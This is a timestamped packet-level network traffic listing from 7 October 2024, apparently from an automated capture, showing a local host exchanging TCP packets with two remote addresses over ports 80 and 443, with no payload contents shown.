Oct 7, 2024 19:33:24.414244890 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.414247990 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.414263964 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.414266109 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.414279938 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.414285898 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.414290905 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.414303064 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.414304018 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.414309025 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.414324045 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.414334059 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.419464111 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.419543982 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.419765949 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.419815063 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.434912920 CEST	443	49789	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.435704947 CEST	49789	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.435715914 CEST	443	49789	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.436336040 CEST	49789	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.436340094 CEST	443	49789	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.472995996 CEST	443	49790	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.473334074 CEST	49790	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.473351002 CEST	443	49790	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.473762035 CEST	49790	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.473767996 CEST	443	49790	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.533509016 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.533536911 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.533554077 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.533556938 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.533565998 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.533574104 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.533580065 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.533592939 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.533607006 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.533926964 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.533965111 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.534008980 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.534019947 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.534030914 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.534039021 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.534044027 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.534064054 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.534090042 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.534868956 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.534881115 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.534893036 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.534910917 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.534923077 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.534930944 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.534991980 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.535003901 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.535042048 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.535698891 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.535756111 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.535767078 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.535774946 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.535789013 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.535798073 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.535913944 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.535926104 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.535943031 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.535954952 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.536567926 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.536611080 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.536622047 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.536657095 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.571033001 CEST	443	49790	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.571098089 CEST	443	49790	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.571149111 CEST	49790	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.571168900 CEST	443	49790	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.571402073 CEST	49790	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.571402073 CEST	49790	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.571410894 CEST	443	49790	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.571443081 CEST	443	49790	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.571562052 CEST	443	49790	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.573744059 CEST	49796	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.573780060 CEST	443	49796	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.573841095 CEST	49796	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.573955059 CEST	49796	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.573966026 CEST	443	49796	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.620054960 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.620074987 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.620090008 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.620105028 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.620136976 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.620147943 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.620183945 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.620194912 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.620203972 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.620256901 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.620325089 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.620368004 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.620686054 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.620711088 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.620723963 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.620755911 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.620755911 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.620775938 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.620798111 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.620820045 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.620831966 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.620831966 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.620845079 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.620846987 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.620866060 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.620876074 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.621910095 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.621958017 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.621968985 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.621984005 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.621992111 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.622005939 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.622005939 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.622019053 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.622036934 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.622051954 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.622236967 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.622247934 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.622287035 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.622466087 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.622477055 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.622488976 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.622499943 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.622509956 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.622512102 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.622528076 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.622544050 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.623377085 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.623420000 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.623471975 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.623485088 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.623497963 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.623507023 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.623508930 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.623518944 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.623521090 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.623533010 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.623538971 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.623548031 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.623558998 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.623591900 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.624198914 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.624211073 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.624222994 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.624233007 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.624242067 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.624244928 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.624254942 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.624267101 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.624268055 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.624288082 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.624300003 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.624999046 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.625051975 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.625314951 CEST	443	49789	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.625504971 CEST	443	49789	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.625564098 CEST	49789	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.625612020 CEST	49789	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.625626087 CEST	443	49789	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.625642061 CEST	49789	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.625648022 CEST	443	49789	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.627625942 CEST	49797	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.627650023 CEST	443	49797	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.627707958 CEST	49797	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.627811909 CEST	49797	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.627819061 CEST	443	49797	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.635358095 CEST	443	49793	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.635684967 CEST	49793	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.635704041 CEST	443	49793	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.636161089 CEST	49793	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.636164904 CEST	443	49793	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.639925957 CEST	443	49792	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.640244961 CEST	49792	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.640264988 CEST	443	49792	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.640582085 CEST	49792	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.640585899 CEST	443	49792	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.645714045 CEST	443	49794	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.646002054 CEST	49794	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.646008968 CEST	443	49794	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.646337032 CEST	49794	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.646341085 CEST	443	49794	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.661010981 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.661022902 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.661034107 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.661053896 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.661072016 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.706836939 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.706885099 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.706886053 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.706908941 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.706922054 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.706924915 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.706938982 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.706954002 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.707046032 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.707057953 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.707087994 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.707110882 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.707185984 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.707201958 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.707216024 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.707227945 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.707235098 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.707235098 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.707238913 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.707250118 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.707259893 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.707262039 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.707271099 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.707277060 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.707282066 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.707285881 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.707292080 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.707317114 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.707329035 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.707896948 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.707915068 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.707931995 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.707940102 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.707943916 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.707954884 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.707966089 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.707967043 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.707978010 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.707982063 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.707989931 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.707998037 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.708019018 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.708033085 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.708033085 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.708046913 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.708058119 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.708066940 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.708070040 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.708076954 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.708081961 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.708095074 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.708116055 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.708126068 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.708885908 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.708911896 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.708919048 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.708924055 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.708944082 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.708955050 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.708992004 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.709049940 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.709053993 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.709065914 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.709075928 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.709088087 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.709090948 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.709099054 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.709103107 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.709110022 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.709119081 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.709121943 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.709132910 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.709141970 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.709156990 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.709180117 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.709784985 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.709810019 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.709821939 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.709827900 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.709849119 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.709861040 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.709985018 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.709999084 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.710009098 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.710020065 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.710031986 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.710031033 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.710038900 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.710042000 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.710052967 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.710062027 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.710064888 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.710076094 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.710078955 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.710098028 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.710120916 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.710834980 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.710846901 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.710858107 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.710870981 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.710890055 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.710983038 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.710994005 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.711004972 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.711015940 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.711025953 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.711028099 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.711039066 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.711049080 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.711055994 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.711066961 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.711077929 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.711077929 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.711091042 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.711112976 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.711729050 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.711771965 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.711781025 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.711792946 CEST	80	49791	147.45.44.104	192.168.2.7
Oct 7, 2024 19:33:24.711812019 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.711829901 CEST	49791	80	192.168.2.7	147.45.44.104
Oct 7, 2024 19:33:24.732498884 CEST	443	49793	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.732645988 CEST	443	49793	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.732719898 CEST	49793	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.732897043 CEST	49793	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.732908010 CEST	443	49793	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.732929945 CEST	49793	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.732934952 CEST	443	49793	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.735194921 CEST	49798	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.735224962 CEST	443	49798	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.735306025 CEST	49798	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.735450983 CEST	49798	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.735465050 CEST	443	49798	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.735552073 CEST	443	49792	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.735716105 CEST	443	49792	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.735776901 CEST	49792	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.735810995 CEST	49792	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.735827923 CEST	443	49792	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.735837936 CEST	49792	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.735842943 CEST	443	49792	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.737525940 CEST	49799	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.737570047 CEST	443	49799	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.737646103 CEST	49799	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.737770081 CEST	49799	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:24.737791061 CEST	443	49799	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:24.741689920 CEST	443	49794	13.107.246.45	192.168.2.7
